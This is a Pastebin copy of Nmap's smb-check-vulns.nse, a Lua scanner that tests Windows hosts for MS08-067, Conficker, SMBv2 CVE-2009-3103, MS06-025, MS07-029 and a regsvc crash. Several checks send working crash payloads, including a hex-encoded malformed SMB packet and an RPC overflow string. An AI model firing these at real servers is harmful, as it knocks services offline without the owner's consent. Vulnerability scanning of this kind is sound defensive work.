Advertisement
Guest User

smb-check-vulns.nse

a guest
Apr 7th, 2016
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.22 KB | None | 0 0
  1. local msrpc = require "msrpc"
  2. local nmap = require "nmap"
  3. local smb = require "smb"
  4. local stdnse = require "stdnse"
  5. local string = require "string"
  6. local table = require "table"
  7.  
  8. description = [[
  9. Checks for vulnerabilities:
  10. * MS08-067, a Windows RPC vulnerability
  11. * Conficker, an infection by the Conficker worm
  12. * Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000
  13. * SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
  14. * MS06-025, a Windows Ras RPC service vulnerability
  15. * MS07-029, a Windows Dns Server RPC service vulnerability
  16.  
  17. WARNING: These checks are dangerous, and are very likely to bring down a server.
  18. These should not be run in a production environment unless you (and, more importantly,
  19. the business) understand the risks!
  20.  
  21. As a system administrator, performing these kinds of checks is crucial, because
  22. a lot more damage can be done by a worm or a hacker using this vulnerability than
  23. by a scanner. Penetration testers, on the other hand, might not want to use this
  24. script -- crashing services is not generally a good way of sneaking through a
  25. network.
  26.  
  27. If you set the script parameter <code>unsafe</code>, then scripts will run that are almost
  28. (or totally) guaranteed to crash a vulnerable system; do NOT specify <code>unsafe</code>
  29. in a production environment! And that isn't to say that non-unsafe scripts will
  30. not crash a system, they're just less likely to.
  31.  
  32. If you set the script parameter <code>safe</code>, then script will run that rarely or never
  33. crash a vulnerable system. No promises, though.
  34.  
  35. MS08-067. Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that
  36. can allow remote code execution. Checking for MS08-067 is very dangerous, as the check
  37. is likely to crash systems. On a fairly wide scan conducted by Brandon Enright, we determined
  38. that on average, a vulnerable system is more likely to crash than to survive
  39. the check. Out of 82 vulnerable systems, 52 crashed.
  40. At the same time, MS08-067 is extremely critical to fix. Metasploit has a working and
  41. stable exploit for it, and any system vulnerable can very easily be compromised.
  42. Conficker. Checks if a host is infected with a known Conficker strain. This check
  43. is based on the simple conficker scanner found on this page:
  44. http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker.
  45. Thanks to the folks who wrote that scanner!
  46.  
  47. regsvc DoS. Checks if a host is vulnerable to a crash in regsvc, caused
  48. by a null pointer dereference. I inadvertently discovered this crash while working
  49. on <code>smb-enum-sessions</code>, and discovered that it was repeatable. It's been
  50. reported to Microsoft (case #MSRC8742).
  51.  
  52. This check WILL crash the service, if it's vulnerable, and requires a guest account
  53. or higher to work. It is considered <code>unsafe</code>.
  54.  
  55. SMBv2 DoS. Performs a denial-of-service against the vulnerability disclosed in
  56. CVE-2009-3103. Checks if the server went offline. This works against Windows Vista
  57. and some versions of Windows 7, and causes a bluescreen if successful. The
  58. proof-of-concept code at http://seclists.org/fulldisclosure/2009/Sep/39 was used,
  59. with one small change.
  60.  
  61. MS06-025. Vulnerability targets the <code>RasRpcSumbitRequest()</code> RPC method which is
  62. a part of RASRPC interface that serves as a RPC service for configuring and
  63. getting information from the Remote Access and Routing service. RASRPC can be
  64. accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on Windows XP machines).
  65. This is in RPC world known as "ncan_np" RPC transport. <code>RasRpcSumbitRequest()</code>
  66. method is a generic method which provides different functionalities according
  67. to the <code>RequestBuffer</code> structure and particularly the <code>RegType</code> field within that
  68. structure. <code>RegType</code> field is of <code>enum ReqTypes</code> type. This enum type lists all
  69. the different available operation that can be performed using the <code>RasRpcSubmitRequest()</code>
  70. RPC method. The one particular operation that this vuln targets is the <code>REQTYPE_GETDEVCONFIG</code>
  71. request to get device information on the RRAS.
  72.  
  73. MS07-029. Vulnerability targets the <code>R_DnssrvQuery()</code> and <code>R_DnssrvQuery2()</code> RPC method which is
  74. a part of DNS Server RPC interface that serves as a RPC service for configuring and
  75. getting information from the DNS Server service. DNS Server RPC service can be
  76. accessed using "\dnsserver" SMB named pipe. The vulnerability is triggered when
  77. a long string is send as the "zone" parameter which causes the buffer overflow which
  78. crashes the service.
  79.  
  80. (Note: if you have other SMB/MSRPC vulnerability checks you'd like to see added, and
  81. you can show me a tool with a license that is compatible with Nmap's, post a request
  82. on the nmap-dev mailing list and I'll add it to my list [Ron Bowes].)
  83. ]]
  84. ---
  85. --@usage
  86. -- nmap --script smb-check-vulns.nse -p445 <host>
  87. -- sudo nmap -sU -sS --script smb-check-vulns.nse -p U:137,T:139 <host>
  88. --
  89. --@output
  90. -- Host script results:
  91. -- | smb-check-vulns:
  92. -- | MS08-067: NOT VULNERABLE
  93. -- | Conficker: Likely CLEAN
  94. -- | regsvc DoS: regsvc DoS: NOT VULNERABLE
  95. -- | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
  96. -- | MS06-025: NO SERVICE (the Ras RPC service is inactive)
  97. -- |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
  98. --
  99. -- @args unsafe If set, this script will run checks that, if the system isn't
  100. -- patched, are basically guaranteed to crash something. Remember that
  101. -- non-unsafe checks aren't necessarily safe either)
  102. -- @args safe If set, this script will only run checks that are known (or at
  103. -- least suspected) to be safe.
  104. -----------------------------------------------------------------------
  105.  
  106. author = "Ron Bowes"
  107. copyright = "Ron Bowes"
  108. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  109. categories = {"intrusive","exploit","dos","vuln"}
  110. -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
  111. -- other scans have had a chance to run)
  112. dependencies = {
  113. "smb-brute", "smb-enum-sessions", "smb-security-mode",
  114. "smb-enum-shares", "smb-server-stats",
  115. "smb-enum-domains", "smb-enum-users", "smb-system-info",
  116. "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
  117. "smb-psexec",
  118. };
  119.  
  120.  
  121. hostrule = function(host)
  122. return smb.get_port(host) ~= nil
  123. end
  124.  
  125. local VULNERABLE = 1
  126. local PATCHED = 2
  127. local UNKNOWN = 3
  128. local NOTRUN = 4
  129. local INFECTED = 5
  130. local INFECTED2 = 6
  131. local CLEAN = 7
  132. local NOTUP = 8
  133.  
  134. ---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an
  135. -- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then
  136. -- you're safe (for now).
  137. --
  138. -- Based on a packet cap of this script, thanks go out to the author:
  139. -- http://labs.portcullis.co.uk/application/ms08-067-check/
  140. --
  141. -- If there's a licensing issue, please let me (Ron Bowes) know so I can
  142. --
  143. -- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20
  144. -- tests I did, it crashed once. This is not a guarantee.
  145. --
  146. --@param host The host object.
  147. --@return (status, result) If status is false, result is an error code; otherwise, result is either
  148. -- <code>VULNERABLE</code> for vulnerable, <code>PATCHED</code> for not vulnerable,
  149. -- <code>UNKNOWN</code> if there was an error (likely vulnerable), <code>NOTRUN</code>
  150. -- if this check was disabled, and <code>INFECTED</code> if it was patched by Conficker.
  151. function check_ms08_067(host)
  152. if(nmap.registry.args.safe ~= nil) then
  153. return true, NOTRUN
  154. end
  155. if(nmap.registry.args.unsafe == nil) then
  156. return true, NOTRUN
  157. end
  158. local status, smbstate
  159. local bind_result, netpathcompare_result
  160.  
  161. -- Create the SMB session
  162. status, smbstate = msrpc.start_smb(host, "\\\\BROWSER")
  163. if(status == false) then
  164. return false, smbstate
  165. end
  166.  
  167. -- Bind to SRVSVC service
  168. status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
  169. if(status == false) then
  170. msrpc.stop_smb(smbstate)
  171. return false, bind_result
  172. end
  173.  
  174. -- Call netpathcanonicalize
  175. -- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\")
  176.  
  177. local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
  178. local path2 = "\\n"
  179. status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
  180.  
  181. -- Stop the SMB session
  182. msrpc.stop_smb(smbstate)
  183.  
  184. if(status == false) then
  185. if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then
  186. return true, INFECTED
  187. elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then
  188. return true, PATCHED
  189. else
  190. return true, UNKNOWN, netpathcompare_result
  191. end
  192. end
  193.  
  194.  
  195. return true, VULNERABLE
  196. end
  197.  
  198. -- Help messages for the more common errors seen by the Conficker check.
  199. CONFICKER_ERROR_HELP = {
  200. ["NT_STATUS_BAD_NETWORK_NAME"] =
  201. [[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]],
  202. -- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)"
  203. -- http://www.skullsecurity.org/blog/?p=209#comment-156
  204. -- "That means either it isn’t a Windows machine, or the service is
  205. -- either crashed or not running. That may indicate a failed (or
  206. -- successful) exploit attempt, or just a locked down system.
  207. -- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser
  208. -- service is disabled. There are at least two ways that can happen:
  209. -- 1) The service itself is disabled in the services list.
  210. -- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList
  211. -- is set to Off/False/No rather than Auto or yes.
  212. -- On these systems, if you reenable the browser service, then the
  213. -- test will complete."
  214. ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] =
  215. [[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
  216. | If you know the remote system is Windows, try rebooting it and scanning
  217. |_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]],
  218. -- http://www.skullsecurity.org/blog/?p=209#comment-100
  219. -- "That likely means that the server has been locked down, so we
  220. -- don’t have access to the necessary pipe. Fortunately, that means
  221. -- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably
  222. -- means you’re ok."
  223. ["NT_STATUS_ACCESS_DENIED"] =
  224. [[Likely CLEAN; access was denied.
  225. | If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy
  226. | (replace xxx and yyy with your username and password). Also try
  227. |_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]],
  228. -- The cause of these two is still unknown.
  229. -- ["NT_STATUS_NOT_SUPPORTED"] =
  230. -- [[]]
  231. -- http://thatsbroken.com/?cat=5 (doesn't seem common)
  232. -- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] =
  233. -- [[]]
  234. }
  235.  
  236. ---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch,
  237. -- which rejects a different illegal string than the official patch rejects.
  238. --
  239. -- Based loosely on the Simple Conficker Scanner, found here:
  240. -- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
  241. --
  242. -- If there's a licensing issue, please let me (Ron Bowes) know so I can fix it
  243. --
  244. --@param host The host object.
  245. --@return (status, result) If status is false, result is an error code; otherwise, result is either
  246. -- <code>INFECTED</code> for infected or <code>CLEAN</code> for not infected.
  247. function check_conficker(host)
  248. local status, smbstate
  249. local bind_result, netpathcompare_result
  250.  
  251. -- Create the SMB session
  252. status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true)
  253. if(status == false) then
  254. return false, smbstate
  255. end
  256.  
  257. -- Bind to SRVSVC service
  258. status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
  259. if(status == false) then
  260. msrpc.stop_smb(smbstate)
  261. return false, bind_result
  262. end
  263.  
  264. -- Try checking a valid string to find Conficker.D
  265. local netpathcanonicalize_result, error_result
  266. status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\")
  267. if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then
  268. msrpc.stop_smb(smbstate)
  269. return true, INFECTED2
  270. end
  271.  
  272. -- Try checking an illegal string ("\..\") to find Conficker.C and earlier
  273. status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\")
  274.  
  275. if(status == false) then
  276. if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then
  277. msrpc.stop_smb(smbstate)
  278. return true, CLEAN
  279. elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then
  280. msrpc.stop_smb(smbstate)
  281. return true, INFECTED
  282. else
  283. msrpc.stop_smb(smbstate)
  284. return false, netpathcanonicalize_result
  285. end
  286. end
  287.  
  288. -- Stop the SMB session
  289. msrpc.stop_smb(smbstate)
  290.  
  291. return true, CLEAN
  292. end
  293.  
  294. ---While writing <code>smb-enum-sessions</code> I discovered a repeatable null-pointer dereference
  295. -- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because
  296. -- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll
  297. -- fix it. This function checks for that crash (by crashing the process).
  298. --
  299. -- The crash occurs when the string sent to winreg_enumkey() function is null.
  300. --
  301. --@param host The host object.
  302. --@return (status, result) If status is false, result is an error code; otherwise, result is either
  303. -- <code>VULNERABLE</code> for vulnerable or <code>PATCHED</code> for not vulnerable. If the check
  304. -- was skipped, <code>NOTRUN</code> is returned.
  305. function check_winreg_Enum_crash(host)
  306. if(nmap.registry.args.safe ~= nil) then
  307. return true, NOTRUN
  308. end
  309. if(nmap.registry.args.unsafe == nil) then
  310. return true, NOTRUN
  311. end
  312.  
  313. local i, j
  314. local elements = {}
  315. local status, bind_result, smbstate
  316.  
  317. -- Create the SMB session
  318. status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
  319. if(status == false) then
  320. return false, smbstate
  321. end
  322.  
  323. -- Bind to WINREG service
  324. status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
  325. if(status == false) then
  326. msrpc.stop_smb(smbstate)
  327. return false, bind_result
  328. end
  329.  
  330. local openhku_result
  331. status, openhku_result = msrpc.winreg_openhku(smbstate)
  332. if(status == false) then
  333. msrpc.stop_smb(smbstate)
  334. return false, openhku_result
  335. end
  336.  
  337. -- Loop through the keys under HKEY_USERS and grab the names
  338. local enumkey_result
  339. status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
  340. msrpc.stop_smb(smbstate)
  341.  
  342. if(status == false) then
  343. return true, VULNERABLE
  344. end
  345.  
  346. return true, PATCHED
  347. end
  348.  
  349. local function check_smbv2_dos(host)
  350. local status, result
  351.  
  352. if(nmap.registry.args.safe ~= nil) then
  353. return true, NOTRUN
  354. end
  355. if(nmap.registry.args.unsafe == nil) then
  356. return true, NOTRUN
  357. end
  358.  
  359. -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
  360. local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message
  361. string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB
  362. string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol
  363. string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853
  364. string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00"
  365. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) ..
  366. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) ..
  367. string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) ..
  368. string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) ..
  369. string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) ..
  370. string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) ..
  371. string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) ..
  372. string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) ..
  373. string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) ..
  374. string.char(0x30, 0x30, 0x32, 0x00)
  375.  
  376. local socket = nmap.new_socket()
  377. if(socket == nil) then
  378. return false, "Couldn't create socket"
  379. end
  380.  
  381. status, result = socket:connect(host, 445)
  382. if(status == false) then
  383. socket:close()
  384. return false, "Couldn't connect to host: " .. result
  385. end
  386.  
  387. status, result = socket:send(buf)
  388. if(status == false) then
  389. socket:close()
  390. return false, "Couldn't send the buffer: " .. result
  391. end
  392.  
  393. -- Close the socket
  394. socket:close()
  395.  
  396. -- Give it some time to crash
  397. stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed")
  398. stdnse.sleep(5)
  399.  
  400. -- Create a new socket
  401. socket = nmap.new_socket()
  402. if(socket == nil) then
  403. return false, "Couldn't create socket"
  404. end
  405.  
  406. -- Try and do something simple
  407. stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host")
  408. socket:set_timeout(5000)
  409. status, result = socket:connect(host, 445)
  410.  
  411. -- Check the result
  412. if(status == false or status == nil) then
  413. stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!")
  414. socket:close()
  415. return true, VULNERABLE
  416. end
  417.  
  418. -- Try sending something
  419. stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host")
  420. status, result = socket:send("AAAA")
  421. if(status == false or status == nil) then
  422. stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!")
  423. socket:close()
  424. return true, VULNERABLE
  425. end
  426.  
  427. stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.")
  428. socket:close()
  429. return true, PATCHED
  430. end
  431.  
  432.  
  433. ---Check the existence of ms06_025 vulnerability in Microsoft Remote Routing
  434. --and Access Service. This check is not safe as it crashes the RRAS service and
  435. --its dependencies.
  436. --@param host Host object.
  437. --@return (status, result)
  438. --* <code>status == false</code> -> <code>result == NOTUP</code> which designates
  439. --that the targeted Ras RPC service is not active.
  440. --* <code>status == true</code> ->
  441. -- ** <code>result == VULNERABLE</code> for vulnerable.
  442. -- ** <code>result == PATCHED</code> for not vulnerable.
  443. -- ** <code>result == NOTRUN</code> if check skipped.
  444. function check_ms06_025(host)
  445. --check for safety flag
  446. if(nmap.registry.args.safe ~= nil) then
  447. return true, NOTRUN
  448. end
  449. if(nmap.registry.args.unsafe == nil) then
  450. return true, NOTRUN
  451. end
  452. --create the SMB session
  453. --first we try with the "\router" pipe, then the "\srvsvc" pipe.
  454. local status, smb_result, smbstate, err_msg
  455. status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
  456. if(status == false) then
  457. err_msg = smb_result
  458. status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
  459. if(status == false) then
  460. return false, NOTUP --if not accessible across both pipes then service is inactive
  461. end
  462. end
  463. smbstate = smb_result
  464. --bind to RRAS service
  465. local bind_result
  466. status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
  467. if(status == false) then
  468. msrpc.stop_smb(smbstate)
  469. return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
  470. end
  471. if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
  472. msrpc.stop_smb(smbstate)
  473. return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
  474. end
  475. local req, buff, sr_result
  476. req = msrpc.RRAS_marshall_RequestBuffer(
  477. 0x01,
  478. msrpc.RRAS_RegTypes['GETDEVCONFIG'],
  479. msrpc.random_crap(3000))
  480. status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
  481. msrpc.stop_smb(smbstate)
  482. --sanity check
  483. if(status == false) then
  484. stdnse.print_debug(
  485. 3,
  486. "check_ms06_025: RRAS_SubmitRequest failed")
  487. if(sr_result == "NT_STATUS_PIPE_BROKEN") then
  488. return true, VULNERABLE
  489. else
  490. return true, PATCHED
  491. end
  492. else
  493. return true, PATCHED
  494. end
  495. end
  496.  
  497. ---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service.
  498. --This check is not safe as it crashes the Dns Server RPC service its dependencies.
  499. --@param host Host object.
  500. --@return (status, result)
  501. --* <code>status == false</code> -> <code>result == NOTUP</code> which designates
  502. --that the targeted Dns Server RPC service is not active.
  503. --* <code>status == true</code> ->
  504. -- ** <code>result == VULNERABLE</code> for vulnerable.
  505. -- ** <code>result == PATCHED</code> for not vulnerable.
  506. -- ** <code>result == NOTRUN</code> if check skipped.
  507. function check_ms07_029(host)
  508. --check for safety flag
  509. if(nmap.registry.args.safe ~= nil) then
  510. return true, NOTRUN
  511. end
  512. if(nmap.registry.args.unsafe == nil) then
  513. return true, NOTRUN
  514. end
  515. --create the SMB session
  516. local status, smbstate
  517. status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
  518. if(status == false) then
  519. return false, NOTUP --if not accessible across pipe then the service is inactive
  520. end
  521. --bind to DNSSERVER service
  522. local bind_result
  523. status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
  524. if(status == false) then
  525. msrpc.stop_smb(smbstate)
  526. return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
  527. end
  528. --call
  529. local req_blob, q_result
  530. status, q_result = msrpc.DNSSERVER_Query(
  531. smbstate,
  532. "VULNSRV",
  533. string.rep("\\\13", 1000),
  534. 1)--any op num will do
  535. --sanity check
  536. msrpc.stop_smb(smbstate)
  537. if(status == false) then
  538. stdnse.print_debug(
  539. 3,
  540. "check_ms07_029: DNSSERVER_Query failed")
  541. if(q_result == "NT_STATUS_PIPE_BROKEN") then
  542. return true, VULNERABLE
  543. else
  544. return true, PATCHED
  545. end
  546. else
  547. return true, PATCHED
  548. end
  549. end
  550.  
  551. ---Returns the appropriate text to display, if any.
  552. --
  553. --@param check The name of the check; for example, 'ms08-067'.
  554. --@param message The message to display, such as 'VULNERABLE' or 'PATCHED'.
  555. --@param description [optional] Extra details about the message. nil for a blank message.
  556. --@param minimum_verbosity The minimum verbosity level required before the message is displayed.
  557. --@param minimum_debug [optional] The minimum debug level required before the message is displayed (default: 0).
  558. --@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed).
  559. local function get_response(check, message, description, minimum_verbosity, minimum_debug)
  560. if(minimum_debug == nil) then
  561. minimum_debug = 0
  562. end
  563.  
  564. -- Check if we have appropriate verbosity/debug
  565. if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
  566. if(description == nil or description == '') then
  567. return string.format("%s: %s", check, message)
  568. else
  569. return string.format("%s: %s (%s)", check, message, description)
  570. end
  571. else
  572. return nil
  573. end
  574. end
  575.  
  576. action = function(host)
  577.  
  578. local status, result, message
  579. local response = {}
  580.  
  581. -- Check for ms08-067
  582. status, result, message = check_ms08_067(host)
  583. if(status == false) then
  584. table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
  585. else
  586. if(result == VULNERABLE) then
  587. table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
  588. elseif(result == UNKNOWN) then
  589. table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
  590. elseif(result == NOTRUN) then
  591. table.insert(response, get_response("MS08-067", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
  592. elseif(result == INFECTED) then
  593. table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
  594. else
  595. table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
  596. end
  597. end
  598.  
  599. -- Check for Conficker
  600. status, result = check_conficker(host)
  601. if(status == false) then
  602. local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
  603. table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
  604. else
  605. if(result == CLEAN) then
  606. table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
  607. elseif(result == INFECTED) then
  608. table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
  609. elseif(result == INFECTED2) then
  610. table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
  611. else
  612. table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
  613. end
  614. end
  615.  
  616. -- Check for a winreg_Enum crash
  617. status, result = check_winreg_Enum_crash(host)
  618. if(status == false) then
  619. table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
  620. else
  621. if(result == VULNERABLE) then
  622. table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
  623. elseif(result == NOTRUN) then
  624. table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
  625. else
  626. table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
  627. end
  628. end
  629.  
  630. -- Check for SMBv2 vulnerability
  631. status, result = check_smbv2_dos(host)
  632. if(status == false) then
  633. table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
  634. else
  635. if(result == VULNERABLE) then
  636. table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
  637. elseif(result == NOTRUN) then
  638. table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
  639. else
  640. table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
  641. end
  642. end
  643.  
  644. -- Check for ms06-025
  645. status, result = check_ms06_025(host)
  646. if(status == false) then
  647. if(result == NOTUP) then
  648. table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
  649. else
  650. table.insert(response, get_response("MS06-025", "ERROR", result, 0, 1))
  651. end
  652. else
  653. if(result == VULNERABLE) then
  654. table.insert(response, get_response("MS06-025", "VULNERABLE", nil, 0))
  655. elseif(result == NOTRUN) then
  656. table.insert(response, get_response("MS06-025", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
  657. elseif(result == NOTUP) then
  658. table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
  659. else
  660. table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1))
  661. end
  662. end
  663.  
  664. -- Check for ms07-029
  665. status, result = check_ms07_029(host)
  666. if(status == false) then
  667. if(result == NOTUP) then
  668. table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1))
  669. else
  670. table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1))
  671. end
  672. else
  673. if(result == VULNERABLE) then
  674. table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0))
  675. elseif(result == NOTRUN) then
  676. table.insert(response, get_response("MS07-029", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
  677. else
  678. table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1))
  679. end
  680. end
  681.  
  682. return stdnse.format_output(true, response)
  683. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement